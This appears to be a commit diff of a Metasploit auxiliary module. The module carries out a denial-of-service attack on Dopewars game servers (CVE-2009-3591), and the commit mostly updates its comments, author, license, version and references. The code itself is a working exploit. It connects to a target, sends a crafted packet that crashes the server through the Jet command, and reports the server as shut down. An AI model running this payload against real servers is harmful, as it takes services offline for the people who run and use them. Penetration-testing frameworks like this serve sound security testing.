1
- # Dopewars DOS attack.
1
+ # Dopewars DOS attack
2
+ #
3
+ # The Jet command is susceptible to a segfault.
4
+ # This will crash the server but does not seem to be
5
+ # exploitable any further.
6
+ # This has been fixed in the SVN version.
7
+ #
2
8
3
9
require 'msf/core'
4
10
5
-
6
- class Metasploit3 < Msf ::Auxiliary
11
+ class Metasploit4 < Msf ::Auxiliary
7
12
8
13
include Msf ::Exploit ::Remote ::Tcp
9
14
include Msf ::Auxiliary ::Dos
@@ -15,13 +20,13 @@ def initialize(info = {})
15
20
This module sends a specially-crafted packet to a Dopewars
16
21
server, causing a SEGFAULT.
17
22
} ,
18
- 'Author' => [ 'dougsko ' ] ,
19
- 'License' => GPL_LICENSE ,
20
- 'Version' => '0.1.0 ' ,
23
+ 'Author' => [ 'Doug Prostko <dougtko[at]gmail.com> ' ] ,
24
+ 'License' => MSF_LICENSE ,
25
+ 'Version' => '0.0.1 ' ,
21
26
'References' =>
22
27
[
23
- [ 'URL' , 'None ' ] ,
24
- [ 'BID' , 'None ' ] ,
28
+ [ 'URL' , 'http://www.securityfocus.com/archive/1/archive/1/507012/100/0/threaded ' ] ,
29
+ [ 'BID' , '36606 ' ] ,
25
30
[ 'CVE' , 'CVE-2009-3591' ] ,
26
31
] ) )
27
32
@@ -31,13 +36,13 @@ def initialize(info = {})
31
36
def run
32
37
connect
33
38
34
- # jet command
39
+ # The jet command is vulnerable.
35
40
# Program received signal SIGSEGV, Segmentation fault.
36
41
# [Switching to Thread 0xb74916c0 (LWP 30638)]
37
42
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
38
43
# serverside.c:525
39
44
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
40
-
45
+ #
41
46
pkt = "foo^^Ar1111111\n ^^Acfoo\n ^AV65536\n "
42
47
print_status ( "Sending dos packet..." )
43
48
sock . put ( pkt )
@@ -53,5 +58,4 @@ def run
53
58
print_status ( "Dopewars server succesfully shut down!" )
54
59
end
55
60
end
56
-
57
61
end
0 commit comments